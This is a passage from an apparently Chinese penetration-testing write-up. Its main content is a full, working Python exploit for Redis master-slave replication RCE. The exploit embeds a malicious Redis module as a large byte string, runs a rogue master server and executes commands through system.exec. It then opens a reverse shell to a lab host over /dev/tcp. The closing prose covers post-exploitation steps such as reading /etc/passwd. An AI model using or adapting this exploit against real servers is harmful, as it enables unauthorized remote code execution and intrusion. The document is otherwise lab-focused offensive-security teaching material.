a5\xe5\xf1\x18\x94\xf9j|/\x90\x99\x82\xe4\x13Z\x89\xdfG\xfaI,\x88)\xeeb\xa4\x7f=\x1b\xae\xa3\xe26\xa1\x96o\x91\xdd\xa2$\xe0\xa8?\xab\x177(c\x05\x80\xa6\x8b\xb06\xc5P\xc6\xea\xee\xdf\x03_\xbf\xf2@=0`\xab4m\xaf\xee\x7f\x1a\xa3\xec\\4\x9f\xa4\x96\xf4\xffk\x1c\x136m_\xacd\\\x05>1e\x92;\xa7\x10\xde]\xdd\xbd\xa87\xd3\x95\x89\xba\xcc\xdb\x9b\xd6h\xca2\xe7\x93d\xe3\x1aM\x1b\x117o\xdf\xbdf\xc0\xc3T\xc7\xb7\xd4\x9e\xcc\x9b\xa0\xd2L\x83^"\xf8\xbe5\x03\xddu\x8ai\xf0\xe3$\xef\xbc\xcc;1\xeb,-U\x94\xf9\x11x\xc24D\xd3\xb4g\xcd@\xbfb:OK<\x0e\t\xa7b\x1a\x86s\xcfL\xdb\x8b\x07\x9dA\xb1l\xed[\x83\xa2dt\xa0\\\x02&\xc5\xb8\xec\xea\xeeu}X\x01\x12\xb4\x02\xec\xa2\x05H\xd0\n\xb0\x8d\x16 A\xcb\xe9\xba5\x03\xc6R\x1d\xc3\xd5\xd0\x02$i\x05h\\\x93\xf9\x1a\xb6\xfcd-\xd9\xb4f`ym\x85b\xb2=\xce\x8aW\t\xc5K\xc1L\xa1x\x03\xcb\x82\x95\x8a)\x95\x15o)|]\xd1R\xa4x>W@1\xf5^L\xea\xa4xp\xa9\r_Wa\xed\x8e\xeeC\xc73e\xc0nj\xca"\xea\xcb\xc1\xe5$\xfe0\xaa\xb8\x1c\xb9\xf0B`e;ueu*\xd48\xf0\x13c\xc1\xf7\xacCz\xe0\x93l\ty\x1d\xc8^>oJb\x0e;\x0f\x9d\x05\xa8\xd6t\x16\x0c\x9d\x95L\x98Q\x07\xd8y\xde\n\x97\x8f\xc9\x9a\xb6\xcf\x1czg\x17\xa53Y4l\x06\x0e\xa0\xf3\xc8+Hhv\xe4\x01m`Rj\xbc9\xa9gR\x175%\xd6\xd6\r\x9b\x8a\x12\x1f?\x01H\xe0\x86t\xc5\x9cta\xfc\xb8\xf8i\xf0\x10\x17E\xe9\xa0!:Y\xc1W91xB(v\x90\x82\'K\xaajN\x8a\x8fG\x01\x15\x9f\xfa\x12\xb94~\xc7\xb3\xd2d\xb4\x96\x8cg\xba\xa1w\xab\xea\xb4T\x94H\xec\x07zF\x00%)\x15\xc0\x8b`HM\x1e\xc3\x85&vG\x82m\x0cW\xaa\x11\xba\xe0\xed>\xa5\xab:\xb8\xbb\xa6#5\x9a\xd8\x92\x86\x14Lw\xc5\x99\x16\xe9\xa1R&\xb8\tt#7\xbeP\xe5H\xed\xdeUA50\xa8FAI&\xc4c\xe9Xizf\x01s/\xb0\xad\x17\xb9\x80\x16\xdd\x9b\\\xc0\xe8\xdb\xa7\x9b\xdaY\xea\xbe\x89!>\xcb\xc8V\'v\xd7\x92\xa8\x18]\x9cg\xbfi\x121\xac_\xb4b\xb6h\x8c\x98w\xffh.\x87\xc9\x01\xf1*rC\xeb\x1e\x13F\x1f8&LjPg\x06\xd3R\xd1\x1d\x83\xc3s\xbc\x88d\x95%\x12\xa1\x8de\xabZ\xd9\xc3\xecR\x94\xf3\xa8U\xd1\x9a\xfe\xa1\xd1\xdcE\x98\x1c6&,\xa9t\xc5F\xa7\xfc\x01\x9f\xdd\xd43I\x89\xf8\xad\x15;%\xa6\xb3\xb3\x95\x11A\xbfo\x84\xdbS^\x13\xacp\x8d\xa8\xcf\x1d\xeb\x18;fx\x8d\xdb\x13\xac\x1f^\xe5\t\x8e(s\x07\xfc\x1aK\x8d\xbblDUy\xb9\x9e\xe5\x02&\xfd\x0bT\x8d\x08\xac\xacs\xf9\xc3\x18\xc3\xa5<\xae\x00\x06\xa2S\x14\x1fN\xe3\xad%\xd3x\xb3\xab\xd1VW}]6n\xfc\xa7\x10\x15@\x83>\xe8\x0fTT\xb8*\xe1\xdaL\xae\xdd\x9e\xc0p8<\x1cDB\xb0\x93\x02Ep{\xb5\xcb)\xd3f\x16\xc2U\x94\xc6\x86Dh"\xfe\x95~\x87\xcb\xe7\xabq\xfb\x03\x1aW\xd0\x03\x97\x15\x1aX\xe5\nx\xeb\x02\x0e\\\x94B\xf5\xbb\xab<\xce\x1a*\xe9-_\x86\xb1\xf3(BB\xe7i\xd7n\xcc\x1b\xda\xe1EeAw\r\x9aG68\xd38\x1cX\x14\x8d\r:\xa2\x89\x8d"\xe67M\xaae\xe1\x9f\xde\xb5<\xfd\xff\xe3?s\x86e?|/Vc>\x83\xbf&KeL\xd0\xb2}a\x94\xc9\xbc\xeb\xaal\xcbEG\x1b\xd7\x9a\x06\xa6Y\xaa\xbf\xf9f\x84)3\xd5\xf2\xeeL\xcb\x10\xcb\xcd\xa6\xe1\xa9\x96\xed\xcf,\xb44Z\xb2\x8f6\x9a\x06\xa6\xc2\xff\xf6*\xcbxK\x9a\xa5\xca\xb2\xf0\xe8\xd1\xcf-\x8b\x16Z\x16YF\x98\xfa\xa76\x9a\xf2\xd2\x82x,4\x99\xa0\x1b\x9cs\xdd\xd1/\x99\xc7\x1fy\x01Z\x01\xdc\x06\xfc\xeeU.G@\xf1;\x1d\x95\xceZ\xb74\x14\xb4\xb8\xc6+B\xb8\xeb_\x10\x18\\\xb6X2\xe2\xea\x0c\xf9\xe2,\xc7\xb49\x8eQ\x8e\x91\x0e\xe8\x02\xd0+\x1cF\xeb\xe4\xfcn\x0f+\x18^\x92\x10\x92\x86\xab%P\xa7\xdf\xb9\xc2EBB\xba=c\x91\xdbQ\xe3\xf5\xd6\x959\xcb\x97\xe9\x0cf+\x99J\xe6\x14\xccp\xcc\xcd\xbfDq`\x17\x85\x8e\x87]4\xc2R-\xcc\xe5\n\x9f;\xe0r\x9491\x00f\rt7eD\xb5\xb7\x16\x06\x98\x9c\xb2\x9c\x8a\x95#\xca\x03\x95#\xae\xc0?d\x9c\x19\x11\xa2\xca_2y\xc6\x08W\xbd\x13W\xe7v\x9aK\xf4D\\\xef)_\xb0\xe5(\xafv\xba=\x8a7\x18\xa8\x0b\x86Y\x8c+\x9fp\x19\xca\x94\xa0\xa7\x1c\xb8\x82>\x18Yj\x82\xb5\x1e2\x08y\xc0\xdf\x8a\xc3\x81CW\xae#LL\xbf"G\xach\xb6d\xdaWQ\x06\xe5vV\xc8\xdb\x15Y\xdf\xeb\x80ZX\xe1\xf6y\xc3\x97@\xca\x97\x1bI\xd6\xff\x92Z\x99\\PP|\xee\xe5\xbb\x11\x02\xdd\x9fc!\x98A\xd0_\xb6z\x11+\xa8\xd6\xe9[\x06\xcfSSg\x97f\x14\xfc\xe67\xda\xc4\xc2\x8c\xe1\xb5\x81\xa0\xc75\xbe\xca\x05\xbet\x97C\xd2\xe9+\xaf\x1e\x0f7\xa5\xe1c\xc7d\x0c\xaf\xca\x18\x0e\xadz<\xdc\x96@`xe\xf1\xb4\x02\xf8K\xa2\xa4\x0e\xaf\xf3y\x03\xae\xf2\x80\xd7\x07\x1c>]\xd4\xfc\x88Q\xd3\xb1\x10\xd0)J\xfd\xce*Z\xaf`\x1d\xdei\x94\n\xb2JI\xee\xd0\xb0\x85\xe0\xc4\xa7%\x85\x17\x17\xe7\x17\xcc(\x9c\x17&\x10\xb2 =H\x17\xc0e@\xeb\xd2w6qUQAm\x05\xb1F?jIW\xcc\xeb\x97\xd7\xcb\xd6I\xcb\x97\x9a\xb2eI\xac\xe0\x8e\xba\x9a\xa0\xb8\xdeK\xb6\xd4\xc7p\xb9\x9f~\x1d\xa1\xc3\x11r\xf3\x94W\x8e~\xc5\xf5/\xd8\xed@\xbe0W\xb6\xa2K\xb6\xee\xdcp}\x9b\xc1\n\xb4\xf05\xf1\xe8.\x1c\xa3\xa0\xafk\xbd~\xe4X\x87dq\x1a\xd6+{\xd2p\xb8=b\xd3\x9b\xeb"c\x1e\xa9k\x1c\x89\xeb\xbc\xe1\xcb\xbb`\xd0\xc7\x8cp\xd9\x93\xa3\x0eZngD\xe1s.\x83\x0b_z\x0e\x9a\xfd\xda\xe3\xd59\x97\x86\xd1x\xc4!OV\xe1\x83\x85\x16=\x18\xad]\xe5\xf2y\xc5\x86h\xb4\xd8\xdeh\xf1.\x1d\n\xc2k |\xb5=\xbb\xe78=\xc2}X\x16\x8a \xc2zham1<\x1d:\xeb\xdc\x95\xe0\xfa:a\'\x05\xb6\xe0\x97\xde\x1a%\xf5*,\xd7\x83\xaf\xc2\x8e\x1aaY\xba|-\xb9\xf1b\xba\xf0%~\xf0\xdc\xea\x86Z\xd6\x9a\xd6\xd81\x0e\xdd\x8d(b_\xe9\xf4]\xc8\x03\x01\x94FqT\xe2R\xe2Q\x9d\x8d\x8a\xdc$k]\xb5\x8e \x8e\x80\xe7Z.\xec\x08z\x82~W\xc5\xa8_\xb8\xeeT\xba4\x96\xaf\x8dt\xfa\xaa\xc4\xcdv\xc2\x03R8\xbc5\x15\x0eoe%T\x1d2\xaf\x10]@\xeez\xa4\xe7\xb0\xc74]M\x89\xcbP5\x7f\x8e\x1e\xa5\xf5\xda\xb1\xa4zs\x95\x1a\x802\xc8\x1f\xb7\xc7h\xc4\xff\x17\xf6l\xa9\x90\xac\x12\x0e\r^\xd0\xf9\xa8\xe3\n\xef\xc8\xc6q:\xc2C\x16T\x12\xa7\xe2\xd3\x02>\xe8\x18-\xa9\xc6l\xca\x82\x95\xfa\xe7 \xd9*t\xd6\x02\xc3\x18;W\x99;\x1cu\xce\x8a\x91\xdai\x94v\x1a\xad\x9d\xc6h\xa7\xf3\xe19\x0f\x7f\xf4\xf9e\xeb\x8e\xa7\xd1\x0bi\x14\x17\xbe\xd2\x97\xdcXg\xcf\x99=i&\\\xfc\x82\x15\xc8Z\xe3\x86\x11\xc5\x0b_Qk\xfd\xe0)\x97C7\x84\x87-\xa9\x87\x91E\xff\xf0\x1b1\xfeL\xc4\xd5\xe6,\xbc\x82\xf6D0ona\xfe,\xd9\x8dE\xb6\x95\x85\xc1\xa2\xf3s\x85&0\x88\x951\xcd\xe3\xd6\x15\x1c7\x9f\xd2\xbe\x90\xeb\x1e\x7f\x02\xd5^\xe1\x16(\x0b\xd5\xa0=;N\x9d+\x14*<\xae\x02\x8c[\xf0_lY\x06.$_\xb3Bz\x1f\x7fF:G7\x94\xb8>b\x14\x16\xc9\x02g\x07\x0e,\x0e}.Z\xc4\x10\x18PHD|(\n>\xd6\xb3\x1b\xb8\xb2\x02nTn\xe1\xd9;4|\r\xe9r\xf0D\x1a\xac\xa3\xdfb\xfc\xd5pC\xc7~\x112\x0e\xc3\x17\x0b\x87\xcev\xecc\x1e\xf2=\x08\r\x13\x07|\x83p\x1eF\x81\x15\xb4\xee\xc1\x07\x00\x17\xb9\x91`[\x0fj\x95X0sN\xe1\x82\xc2\x02\xc5\x03\xdd/L!\x0bP@\xb8$\xcf\xb3$\xd8\x93\xf6\xddR!E#5\xe5X\x11pB\xc3eC\xb5h\xa1$\x94\x83\xd1\x9ay\xd9X!\x8f\xb3\x12ag*\xc3M\xb6t\xa1\x16X\x80!\xba!\x03\xfaH\xbb\xd7j_^\'\xcf\xea\xbcOj#u\xf8\x1e\x0c\xc2\xa0A\x9f\xad\xf1\x11\xce\x01\xcfZ\xda\xc0\xc2\xef2#\xc7\xca\xed7\x88\x90\x10\xb2\x08\xdeQ\xe9\x06\xeb\xbc!\xbb=\xe8\xdd\x13\x16\x14\x02Z-\xdc.\xa5\x8f\x1d\xf2\x9eK\xe2\x06T\x8a\x81\xbc\xf8\xb2}\xad\xa6\xc3:\xa7\xd6\x8cu\x0fMX\xa7\xf0L\x85?\x95w\xde\xe4\xc4\xa7+y \r\xf2\x9c\x81\x0f\x0c\xe2\xd7\x9e\xc8\xd1"\xce\x15[K\x88\xbc\xe3\xf4VB}\x12\xbb\xf4\xed4\xec^\xc2\xeam\xf4(\x9dS\x8cv*\xc1"h\xd6\xea\n\x11\x12\x87\x84>\xe5\x0b\x1d\\\x1f\xccE\x17\xd5\xea\x9c\x1f\xb3\xa2\xf2\xf5\x98\xe1t\x13_\x97\x19N7\xf3\xf5\x98\xe1\xf4(\xben3\x9c\x1e-]\x1fiVb\xf8\xba\xcapz,_\x8f\x19N\xb7(\r\x83e\xf48\xfeZ&\x9cnUv](\xa3\xc7+\x0b\xa6\xca\xe8\t\xd2\xf5\x95f\xdc9\xa2XF\xd7\xef\xb7\xab\xd1e;G ]\\\r\xcb\xe8]\x0c\xe8\xf2\x95\x91f\xb2\xeb\xb7\x8c\x9e\xa6\xa3a\xb5F)_w\x88tm_\x908\xdd\xeb,\xc5\x80\xdfNt\xe9\xfdC\xe6vH\xfc\x83/\xd7d\xfb5_\xa2\xc8\xf7\x11\xf6(\xf2}Z\xd7*\xf2}\xd8o\xa2\xf4=\x02\xfd1E\xbe\xffu\x8b"\xdf_\xf8+E\xbe\xdf\xbdE\x95\xef+\xdd\x87\xed+*\xd0\xc7\xa9\xf2}\xd5\x9d\xaa|_\xf8+(\xfd\xa4@\xdf\xa6\xca\xf7i}T\x95\xef\xbb\xfa2\xa5[\x04:\xae\x8d\x94\xed\xbb}J\x95\xef\xdb\x1bc\x92\xef\x17\xdc\x93\xd23\x04\xfa0\xb6O\xba@\x9f\xc2\xf6\x01\x17\xe8KL\xf2\xfd\xa6WSz\x9e@\xff=\xdb\x17[\xa0\xff\x89\xed\xb7.\xd0_5\xc9\xf7s?l\x92\xef\x7f\xfd\xb9I\xbeOw\x94Y\xbe?\xb2\xdd,\xdf\xff}\xacY\xbe\x0f\xf5\x0cJo\x10\xe8\xb8\xf3\x8b\xacW_\xc5\xf6M\x16\xf8w\x18\xec\x93\xbe\x97\xd2w\x89\xed\xc1@\xffQ\xb3|\xdf\xf6\x1f(\xbdI\xa0\'F\xc9\xf5d\x18\xd0GE\xc9\xf7m\x9f\x15%\xdf\x9f\xba\x9c\xd2\x9b\x05\xfa\x86(\xf9\xfe\xe3M\x94\xde"\xd0\x9f\x89\x92\xef\xf3\xdb\x12%\xdf\x07\xfc\x84\x81\xfdf\xba\xefp\xbb\xc0\xdf\xdf`?\xe2\xdfD\xcb\xf7q\x9eO\xe9l2-\xa3\xd7F\xcb\xf7\x9b\xde\x1c-\xdf\xdf\xfc\x0eJ\xb7\x0b\xf4\xa7)=C\xa0\xb7D\xcb\xf7\xe9\xfe\x94\xf2g\t\xfc?Pz\x8e@O\x89\x91\xef\xa3=\x88\xed;/\xd0\'\xc4\xc8\xfdy\xb1\x01\xdd\xc5\xf6\x9b\x16\xf4\\m\xc0\xbf\x8b\xf2\x17\x0b\xfc\xf7\xb3}\x9f\x05\xfa\x01J_"\xd0\x8fPz\xb5@?\x19#\xdf\xb7:%V\xbe_\xf9(Jo\x10\xe8E\xb1\xf2}\xcf\xd9~\xe5\xe2\xbe\xed+)}\x97@\xbf\x81\xd2\x1b\x05:\xdb\xd7\xbeI\xa0\xe3Z{i\x7f7\xd8w\xfb,\xdb/^\xa0w\xb1h\xedG\x9c\xd0\xd4\x0f\'\x90\xa1\x7f\xe8\x84<\xf6\x19d\x91\xef?\x9eO\xe9\x87\x04\xfa\x02Jo\x11\xe8+(\xbdU\xa0\xdfh\x91\xef\x0b\x7f\xbfE^\xde\x03\xd4Nq\xfc\xff\xabE\xbe\xcf\xf8g\x94~R\xa0\x9b\xe9\xbe\xe4\xa7\x05z\x16\xa5\xb3\x15&\x8c>\x9d\xd2-\x02}\x11\xa5\xdb\x04z-\xa5\xdb\x05\xfauq\xf2\xfd\xdf\xef\x8a\x93\xefW~ N\xee\x877)\x7f\x8e\xc0\x7f\x92\xd2s\x05z\x0c\xdd\xdf<O\xa0\x0f\xa4\xf4"\x81>\xc1*\xdf\xd7\xbe\x84\xd2\x17\x08\xf4\xa5V\xf9\xbe\xed\xab)\xbdZ\xa0\xef\xa4\xf4:\x81\xfe\x90U^\xdef\xca_/\xf0\xb7Qz\x83@\xff\x81\xd27\nt\\e)\xd3\x7f\x1e\xddw~\x9b\xc0\x9fO\xe9\xbb\x04z)\xa57\n\xf4e\x94\xde$\xd0\xaf\x8e\x97\xef;\xff\x07J\xdf\'\xd0\xf7Rz\xb3@\x7f\x8b\xd2\x0f\t\xf4S\x06\xe5\x8aM\xa0\xfdQ\xe0\xef\x95 \xdf\xef~$\xa5\xb7\x89\xe5\xa5\xf4v\x81^G\xe9\'\x05\xfa\x06J?-\x96\x97\xd2\xd9\xda\x16F\x7f\x9c\xd2-\x02\xfdeJ\xb7\t\xf4vJ\xb7\x0b\xf4\x0eJ\xcf\x10\xe8]\x13i\xff\x12\xe8#)=G\xa0\x17Qz\xae@\xbf\x9c\xd2\xf3\x04z=\xa5\x17\t\xf4\xed\x94^,\xd0\xef\xa7\xf4\x05\x02\xfd\xaf\x89\xf2z\xfc\x88\xf2/\x11\xf8\x7f\xa0\xf4j\x81\xae\xff)W\xfb\xd1\xd71y\xe1\xec\xfcY\xd3\n\x14\xc7\xd4\x99s&\xe5\xcft\xcc\x992\xa5\xa4p\x9ec^\xfe\xa4\x99\x85\x8e\x7f\xed\xa7\x13\xf9O\xd2\xd2\xf0\x9a\x927\xd0\x11g\xafD\xdc\xf05\xe2\xdb\x81\x08o\x8c\xe5\xef\x9b"\xfeb\xff\xcbBc\xcbCI\x1b\xbe\x00?w\x1c`\x837\xcc\x927\x8b\xf2\x17\xbe\xb2@\xb2\xd2(\x9b\xba\xe8\xfc\xc6\xefd\x8cC\x95G\x8e\x99\x1d\xe1\x9d\xaf,p\xb2d:\x06\xdd~V\xf2\x93x\xe4\x97y\xe7\xfaE9\xf2o\xac\xd2\xb7\xc7\xbaw?\xdaO\xc3yy\xa1\x1b\xe0\x1a\xfc\xb0\'\x7faa\xb4e\x00{W$\xee\xf4\xdb\x99\xd5\x18Y\xb7\x13r\xd1\xdcDv\xff\r\xb7\x11\xf7\xfe5\xb6:\xc2\x8b\xa8H\x91\xa5#N\xc68\xf7;\x1aY\xccl\xe9\xc4\x0c\xfd\x8bgm[d\xe3\x02I^\xef\xff\x82I\x01\x117\x0e0xu\x111t\xb4A\x8ch\xe3\x10\xeb\xd2=\x0e\xe8\x0c\x0b\xbd\xa5\xe2\x94C\xc3\x19,\xb2\t]\xa1\xef\xa9\xc8^\xd3\xe1\xde\xd4\xf6\x896\xf6\xb0\xfe\xd5)}\x1ba,\xa2oF\xd2\xb8\xc8\xc6{M\x18\xec\xe7q\xee\xe9\x94\xe7\x8ax|\x8ewJ\x92*\x94\x86\x9f6\x9aPu\xae\xf0\xd8\xb2\xb7\xab\xda\xde\xe0\x91\xfd/\x8b\x12\xdf9\xd1+\xfc\xe5\x948\xb7 \xd2\x1e\x04\x06\x13\xf6~\xc1\x9b\x17\x83\xa9\x11\xa1\xef\xf2\xe86\xe7\xe1%\x0b\xddj<\\i\xc4\x18\xe6\x86\xb1\xcf\r\xe7b\x18\xb8\xdd`\xc2\xb0\xf8\x86\x90\xbe67\xcaI\xb2y\x85\xd1\x94c\xe1}%\xd9\x0f\xde\xb8\xb2#\x87\xfc\x96O{\xeb\x1c5\xa5\x932\r7\xac\x97\xeeI`\xb0\xa7\x06\x9b+\x18F\x93\xces\n\x9f\xac\x88\xbb\xd5G\x1e\xbc#Mr0\x8c\xdd\xae{\xe9\xafM]3\xce\xc9`\x0b\x01\xd9\xbe\x1a\xf2\x89Z\xc6\xfbr\xc8\xb7\x960\xde6\xe6\x1cA\xd7\xc3j\x93\xdc!a\x94\xf7\xc0 \x19\xe1\xa6.\x9bC.\rY\xffK6\xd2\x880\x9d\xdd8\xf4\xbbn\x12\xa2\xe1\xd6\x0f\xd2\x17\xd2\xe7\xd8\xb0(\xc2v\x11\xfa\xc7\xfeH\xf3\x97\rf\xcdD\xd83E\xba\xa3\x88\xe1D\x03\xc3\xadj\xa4+\x16\xb4\xb9\xb1\xc6\xf5j\xbc\xc1\x13\x99\xd0\xaed\xfbW\xd6\x06\x9cep\x0e\xf8\xb4s5\xbb\xaa\xf2\x04\xb3\xab\xe1\xa9K\xc9\xaeX\xe9\x016\xed\x0c\x8f\xdc\x04a\xb3YB\x13\x0e\xc0|\xae\x1agv]M@\xc9\xc6\xdb=\xa4\xbd\xe4\xf9<\xdbU\xed\xa8\xf4\xe1\x94\x11\xd4\xe2\xacu\x97\x83\xa47\xa0q\xc2p\xaed\x97Cw\xc7v\x94]\xe1*\x0bV9\x9c>,\x9f\x9f%\xdd\x9eJ/\x87\xca\xca\xb0\xab\xd0\x14\x0cg.v\x8d\xd6\xfd\x1b>}\x15-\x061\x8b\xff\xcb\xde\x8b\xb33Y1\xadt\xc6\x19\xe6\xef\x8d\xe8\x19\x17\xa8~\xdf\xd1\xe1e\xf2\xec\xfd9;\xf72\x90g\x1f|\x1d\x1e\x1f\x92?{\xcf\xce\xce{\x12;\xf3SC\xe4Y\xfc\xe3\xe1T7\x93g\xef\xe3\xd9\x99\xc5Mf\x1f\xf1\xb5\xff\xf9\x8a\x16\xe3\x98\xc9\xb3\xf7\xf6\xec\x9c\xa9\x86\xdbo\x12\xce\xb8|\xf2\xe7\x10y\xf6~\x9f\x9ds\x14\xb9\xfd\xecs1\xc5&\xd14\x9b\x07\xc0\xce\xd5!\xf9\'*\xfa\xf2\xcf\xa7zY\xdch6_\x80\xcf\x1b\x10\nl\x13\xce\x97\x8a\xf2Y\xe1g1X\xb1\xe8?\'\xa5\xb1\xf2\xb3\xf9\x07\xec| !\x9c_,\xbf[\x90g\xf3\x14\xd8\xf9E\x81_\x94\xf7S\xdbY\xfd\xb0\xf7\xf5\x8d\xb3\xb5\xf4\x12j0k\xafL\x9e\x95\xff*\x9a\xbf\x18G[)\xd6N\xdb\x0c\xf2g\xe7\xf5\xf4\x9a\xc9\xb3\xdf\xe3\xb7Q\xf96\xaeXn\xfff\x9a\x7f\x8e@g\xf2C\x05\xba*\x9cw(\xfa:\xc1\xcf\xd3T^\xd4+\xf2\xdei \xff\x05\x95\xff\xaeO8]\xe4}\xc8@\xbe\xcd\xab\x9d\'\x9a\xc2\xe9"\xef3\x06\xf2}\xe9\xe8\xd6]\xf0\x9f\xc8{H\x91\xfb/7\xa8\x9d\xcf\x18\xb4\xdf\xd0\xb3`\xa2&\xbfQ;[hC\xc1\xc8#=\x14}\xff\xc3aJ0\x91|\xf2vigkR8]\xb4\xbf\x8b\x81\xfc\xf4{\xb4\xf3a\x81.\xca\xff/d*\x95\xef')
CRLF = "\r\n"
finish = False
commandStatus = False
messageList = {
    "get":[],
    "send":[]
}

class _Run(Thread):
    def __init__(self,host:str):
        Thread.__init__(self)
        self.setDaemon(True)
        host_list = host.split(":")
        self.connectHost = (host_list[0],int(host_list[1]))
        self.ths = [Thread(target=self.get),Thread(target=self.send)]

    def run(self):
        self.s = socket(AF_INET, SOCK_STREAM)
        self.s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        self.s.connect(self.connectHost)
        for each in self.ths:
            each.setDaemon(True)
        for each in self.ths:
            each.start()
        while not finish:
            if len(messageList['get']) > 0 and commandStatus:
                result = messageList['get'].pop(0).decode().split("\r\n")[2].strip()
                if result:
                    print("\n" + "*"*10 +" < result > " + "*"*10 +  f"\n{result}\n" + "*"*32)

    def get(self):
        global messageList
        while not finish:
            data = self.s.recv(65535)
            if data and commandStatus:
                messageList['get'].append(data)

    def send(self):
        global messageList
        while not finish:
            self.s.send(messageList['send'].pop(0)) if len(messageList['send']) > 0 else None

FD = None
OLD_SETTINGS = None
CONN_ONLINE = 1

def re_shell(port:int=4444,payload:bytes=b""):
    from termios import tcgetattr, tcsetattr, TCSADRAIN
    from os import system, _exit
    from sys import stdin, stdout
    import _thread as thread
    from tty import setraw

    def _get_byte(s, encoding="UTF-8"):
        return bytes(s, encoding=encoding)

    class _GetchUnix:
        def __call__(self):
            global FD, OLD_SETTINGS
            FD = stdin.fileno()
            OLD_SETTINGS = tcgetattr(FD)
            try:
                setraw(stdin.fileno())
                ch = stdin.read(1)
            finally:
                tcsetattr(FD, TCSADRAIN, OLD_SETTINGS)
            return ch

    STDOUT = stdout.buffer
    getch = _GetchUnix()

    def _stdprint(message):
        stdout.write(message)
        stdout.flush()

    def _close_socket(talk, exit_code=0):
        global FD, OLD_SETTINGS, CONN_ONLINE
        CONN_ONLINE = 0
        talk.close()
        try:
            tcsetattr(FD, TCSADRAIN, OLD_SETTINGS)
        except TypeError:
            pass
        system("reset")
        _exit(exit_code)

    def _recv_daemon(conn):
        global CONN_ONLINE
        while CONN_ONLINE:
            try:
                tmp = conn.recv(16)
                if (tmp):
                    STDOUT.write(tmp)
                    stdout.flush()
                else:
                    raise error
            except error:
                msg = "Connection close by socket.\n"
                _stdprint(msg)
                _close_socket(conn, 1)

    def _main(port):
        global messageList

        conn = socket(AF_INET, SOCK_STREAM)
        conn.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        conn.bind(('0.0.0.0', port))
        conn.listen(1)
        messageList["send"].append(payload)
        try:
            talk, addr = conn.accept()
            _stdprint("Connect from %s.\n" % addr[0])
            thread.start_new_thread(_recv_daemon, (talk,))
            talk.send(_get_byte("""python -c 'import pty; pty.spawn("/bin/bash")'\n""", encoding='utf-8'))
            talk.send(_get_byte("""clear\n""", encoding='utf-8'))
            while CONN_ONLINE:
                c = getch()
                if c:
                    try:
                        talk.send(_get_byte(c, encoding='utf-8'))
                    except error:
                        break
        except KeyboardInterrupt:
            pass
            # stdprint("Connection close by KeyboardInterrupt.\n")
        finally:
            _stdprint("Connection close...\n")
            _close_socket(conn, 0)

    _main(port = port)

def redis_shell(host: str, masterHost: str = "127.0.0.1:2020", authPass: str = "",expFileName: str = "mor.so", command="id",  interactive: bool = False, reshell:dict={}):

    global finish,commandStatus,messageList

    def _redis_format(*redis_cmd):
        if len(redis_cmd) == 0:
            return ""

        cmd = f"*{len(redis_cmd)}"
        for line in redis_cmd:
            cmd += f"{CRLF}${len(line)}{CRLF}{line}"
        cmd += CRLF
        return cmd

    def _wait_for():
        while len(messageList["send"]) > 0:
            pass

    def _RogueServer(ip, port):

        flag = True

        s = socket(AF_INET, SOCK_STREAM)
        s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        s.bind((ip, port))
        s.listen(10)
        client, _ = s.accept()
        while flag:
            getData = client.recv(1024)
            if b"PING" in getData:
                client.send(b"+PING\r\n")
                flag = True
            elif b"REPLCONF" in getData:
                client.send(b"+OK\r\n")
                flag = True
            elif b"PSYNC" in getData or b"SYNC" in getData:
                client.send(b"+FULLRESYNC " + b"sycv5" * 8 + b" 1\r\n" + b"$" + str(
                    len(exp)).encode() + b"\r\n" + exp + b"\r\n")
                flag = False

    _Run(host = host).start()

    payload = [
        ["auth", f'{authPass}'] if authPass else [],
        ["flushall"],
        ["slaveof", "no", "one"],
        ["slaveof", masterHost.split(":")[0], masterHost.split(":")[-1]],
        ["config", "set", "dbfilename", f'{expFileName}'],
    ]

    print("--- Ready slave ---")
    messageList["send"].append("".join(_redis_format(*line) for line in payload).encode())
    _wait_for()

    print("--- Build server ---")
    masterHost_list = masterHost.split(":")
    ip, port = masterHost_list[0], masterHost_list[1]
    print(f"Listen on {ip}:{port}... ")
    _RogueServer(ip=ip, port=int(port))

    print("--- Load module ---")
    payload = [
        ["auth", f'{authPass}'] if authPass else [],
        ["module", "load", f"./{expFileName}"]
    ]
    messageList["send"].append("".join(_redis_format(*line) for line in payload).encode())
    _wait_for()

    commandStatus = True

    if len(reshell) > 0:

        command = reshell['command']
        report = reshell['report']
        payload = [
            ["auth", f'{authPass}'] if authPass else [],
            ["system.exec", f'{command}']
        ]
        print(f"--- Listen on {report}---")
        re_shell(port=report,payload="".join(_redis_format(*line) for line in payload).encode())
        finish = True
        exit()

    if not interactive:
        payload = [
            ["auth", f'{authPass}'] if authPass else [],
            ["system.exec", f'{command}']
        ]
        print(f"--- Command {command} ---")
        messageList["send"].append("".join(_redis_format(*line) for line in payload).encode())
        _wait_for()
        while True:
            try:
                pass
            except KeyboardInterrupt:
                print()
                print("--- exit ---")
                break

    else:
        try:
            while interactive:
                command = input("command:> ")
                if command == "exit" or command == "quit":
                    break
                payload = [
                    ["auth", f'{authPass}'] if authPass else [],
                    ["system.exec", f'{command}']
                ]
                print(f"--- Command {command} ---")
                messageList["send"].append("".join(_redis_format(*line) for line in payload).encode())
                _wait_for()
        except KeyboardInterrupt:
            print()
            print("--- exit ---")
        except Exception as e:
            print(f"--- Error: {e} ---")

    finish = True

if __name__ == '__main__':

    """
        @ host 目标地址
        @ masterHost 主机地址
        @ autPass redis认证密码
        @ expFileName 写入的so文件名称
        @ command 执行一次的命令(仅交互模式=False,reshell={}时有用)
        @ interactive 是否启动伪交互式shell
        @ reshell 伪交互式反弹shell(若不为{}则使用,仅支持Linux)
        
    """

    redis_shell(
        host = "192.168.111.142:6379",
        masterHost = "192.168.111.133:2020",
        authPass = "123456",
        expFileName = "mor.so" ,
        command = "",
        interactive = True,
        reshell = {
            "command":"bash -c 'bash -i >& /dev/tcp/192.168.111.133/3349 0>&1'",
            "report":3349
        }
    )

行吧,话不多说,这里就直接弹一个 伪完整交互shell 了。

image-20210314215956063

此时此刻,就拿到了shell了。

- 横向移动 & 权限提升

虽然说现在确实是得到了一个shell,但 redis 用户的权限实在是太低了,低到就算是在 /tmp 目录搞事都不太行的。比如这里简单演示一下在 /tmp 目录搞点花样:

image-20210314221218340

几乎啥事也干不了,那再看真正的上帝视角,在 /tmp 是有很多文件的:

image-20210314221257391

不过 redis 也是可以写文件的,不过只能是在自己的 家目录 咯,这里直接 cat /etc/passwd

image-20210314221408691

然后写几个文件:

image-20210314221524793

